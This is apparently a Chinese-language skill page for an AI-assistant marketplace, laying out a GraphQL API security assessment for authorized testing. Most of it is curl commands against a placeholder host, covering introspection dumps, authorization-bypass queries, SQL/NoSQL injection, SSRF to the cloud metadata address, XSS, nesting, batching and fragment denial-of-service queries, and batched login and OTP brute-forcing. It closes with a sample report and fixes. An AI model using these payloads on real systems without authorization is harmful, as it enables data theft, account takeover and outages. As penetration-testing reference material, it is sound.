用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill performing-graphql-security-assessment命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | performing-graphql-security-assessment |
| description | 在授权安全测试期间,评估 GraphQL API 端点的内省泄漏、注入攻击、授权缺陷和拒绝服务漏洞。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","graphql","api-security","owasp","web-security","introspection"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
定位 GraphQL 端点并确认 GraphQL 正在运行。
# 常见 GraphQL 端点路径
for path in graphql graphiql playground query gql api/graphql \
v1/graphql v2/graphql graphql/console; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/$path")
echo "$path: $status"
done
# 检查 GraphQL IDE(GraphiQL、Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"
# 指纹识别 GraphQL 引擎
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/graphql"
# 响应因引擎而异:Apollo 返回"Query",Hasura 返回"query_root"
# 检查 WebSocket GraphQL 订阅
# ws://target.example.com/graphql(或 wss://)
提取完整的 GraphQL 模式以了解 API 表面。
# 完整内省查询
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
"https://target.example.com/graphql" | jq .
# 综合内省查询
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
"https://target.example.com/graphql" | jq . > schema.json
# 如果内省被禁用,使用 clairvoyance 进行模式枚举
python3 -m clairvoyance \
-u "https://target.example.com/graphql" \
-w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
-o discovered-schema.json
# 使用 GraphQL Voyager 可视化模式
# 将 schema.json 上传到 https://graphql-kit.com/graphql-voyager/
验证访问控制是否在字段和对象级别强制执行。
# 测试查询所有用户(应需要管理员权限)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ users { id email role passwordHash } }"}' \
"https://target.example.com/graphql" | jq .
# 测试访问自己账户上的敏感字段
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
"https://target.example.com/graphql" | jq .
# 测试变更授权(使用用户令牌执行仅管理员操作)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
"https://target.example.com/graphql" | jq .
# 无认证测试
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id email } }"}' \
"https://target.example.com/graphql" | jq .
评估 GraphQL 查询的 SQL 注入、NoSQL 注入和其他注入类型。
# GraphQL 参数中的 SQL 注入
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
"https://target.example.com/graphql" | jq .
# NoSQL 注入(MongoDB)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
"https://target.example.com/graphql" | jq .
# 通过 GraphQL 测试 SSRF
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
"https://target.example.com/graphql" | jq .
# 通过变更测试存储型 XSS
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
"https://target.example.com/graphql" | jq .
# GraphQL 指令注入
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
"https://target.example.com/graphql" | jq .
评估查询复杂度限制和资源消耗控制。
# 深度嵌套攻击(查询深度)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
"https://target.example.com/graphql" | jq .
# 宽度攻击(请求多个字段)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
"https://target.example.com/graphql" | jq .
# 批量查询攻击
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
"https://target.example.com/graphql" | jq .
# 基于片段的循环引用
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
"https://target.example.com/graphql" | jq .
# 测试无界分页
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(first: 1000000) { id email } }"}' \
"https://target.example.com/graphql" | jq '.data.users | length'
使用查询批量来暴力破解凭据或绕过速率限制。
# 批量登录尝试以绕过速率限制
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
]' \
"https://target.example.com/graphql" | jq .
# 批量 OTP 验证尝试
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
]' \
"https://target.example.com/graphql" | jq .
# 基于别名的批量(相同操作,不同别名)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
"https://target.example.com/graphql" | jq .
| 概念 | 定义 |
|---|---|
| 内省(Introspection) | 公开完整模式、类型、字段和变更的 GraphQL 功能 |
| 查询深度(Query Depth) | GraphQL 查询的嵌套级别;深度过大的查询可能导致 DoS |
| 查询复杂度(Query Complexity) | 根据查询中每个字段的解析成本计算的分数 |
| 批量请求(Batching) | 在单个 HTTP 请求中发送多个查询以并行执行 |
| 别名(Aliases) | 允许以不同参数多次查询同一字段的 GraphQL 功能 |
| 片段(Fragments) | 可重用的字段选择,如果不验证可能导致循环引用 |
| N+1 问题(N+1 Problem) | 未优化的解析器导致嵌套字段指数级数据库查询 |
| 字段级授权(Field-level Authorization) | 应用于单个字段而非整个类型的访问控制 |
| 工具 | 用途 |
|---|---|
| InQL(Burp 扩展) | Burp Suite 的 GraphQL 内省扫描器和查询生成器 |
| GraphQL Voyager | 交互式模式可视化工具 |
| Altair GraphQL Client | 用于构造和测试查询的桌面 GraphQL IDE |
| clairvoyance | 禁用内省时的模式枚举工具 |
| graphql-cop | GraphQL 安全审计工具(pip install graphql-cop) |
| BatchQL | 用于速率限制绕过的 GraphQL 批量攻击工具 |
生产环境启用了内省,泄露了 AdminSettings、InternalUser 等内部类型以及 deleteAllUsers 等变更。这为进一步攻击提供了完整的路线图。
User 类型暴露了 passwordHash、ssn 和 internalNotes 字段。虽然前端只查询 name 和 email,但任何已认证用户都可以直接请求敏感字段。
GraphQL 端点接受批量查询。通过在单个 HTTP 请求中发送 1000 次登录变更尝试,攻击者绕过了仅计算 HTTP 请求次数的基于 IP 的速率限制。
社交网络 API 允许查询 friends { friends { friends { ... } } } 至无限深度。10 级嵌套查询导致服务器处理数百万次数据库查询,造成拒绝服务。
## GraphQL 安全评估报告
**目标**:https://target.example.com/graphql
**引擎**:Apollo Server 4.x
**评估日期**:2024-01-15
### 发现摘要
| 发现 | 严重程度 | 状态 |
|---------|----------|--------|
| 生产环境启用内省 | 中等 | 易受攻击 |
| 缺少字段级授权 | 高 | 易受攻击 |
| 无查询深度限制 | 高 | 易受攻击 |
| 批量查询速率限制绕过 | 高 | 易受攻击 |
| GraphiQL IDE 已暴露 | 低 | 易受攻击 |
| user 查询中的 SQL 注入 | 严重 | 易受攻击 |
| 变更上的 CSRF | 中等 | 通过(需要自定义头部) |
### 严重:通过 user 查询的 SQL 注入
**位置**:`user(name: String)` 查询参数
**载荷**:`{ user(name: "' OR 1=1--") { id email role } }`
**影响**:通过 GraphQL 接口完全读取数据库
### 高:批量认证绕过
**位置**:POST /graphql(数组请求体)
**载荷**:单个请求中包含 100 个登录变更的数组
**影响**:速率限制被绕过;每个 HTTP 请求可尝试 100 个密码
### 修复建议
1. 在生产环境中禁用内省
2. 对所有敏感字段实施字段级授权
3. 设置查询深度限制(最大 7-10 层)
4. 设置查询复杂度限制和成本分析
5. 禁用或对批量查询进行速率限制
6. 从生产环境中删除 GraphiQL/Playground
7. 对解析器中的所有数据库查询使用参数化处理